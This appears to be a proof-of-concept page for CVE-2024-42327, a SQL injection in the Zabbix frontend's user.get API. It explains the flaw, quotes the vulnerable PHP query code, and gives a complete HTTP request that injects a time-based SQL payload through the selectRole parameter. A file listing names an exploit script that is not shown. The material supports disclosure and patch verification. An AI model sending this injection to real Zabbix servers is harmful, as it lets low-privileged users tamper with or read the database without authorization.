CVE-2024-42327 PoC — SQL injection in user.get API

Source

Associated Vulnerability

Description

PoC for CVE-2024-42327 / ZBX-25623

Readme

# PoC for CVE-2024-42327 / ZBX-25623
A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.

## Disclaimer
This script is provided for educational purposes only!

## Proof-of-Concept
The following code from version 6.0.31 is vulnerable to SQLi:

```
$db_roles = DBselect(
	'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
	' FROM users u,role r'.
	' WHERE u.roleid=r.roleid'.
	' AND '.dbConditionInt('u.userid', $userIds)
);
```

The following call triggers the vulnerability:

```
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
    "userids": ["1","2"]
  },
  "id": 1,
  "auth": ""
}
```

## References
- https://support.zabbix.com/browse/ZBX-25623
- https://nvd.nist.gov/vuln/detail/CVE-2024-42327

File Snapshot

 [4.0K]  /data/pocs/3a0956bba3d5ff12f5e431882c63f39a3feb3ca6
├── [2.8K]  cve-2024-42327.py
├── [4.0K]  infrastructure
│   └── [4.1K]  compose.yaml
└── [1.2K]  README.md

1 directory, 3 files

Remarks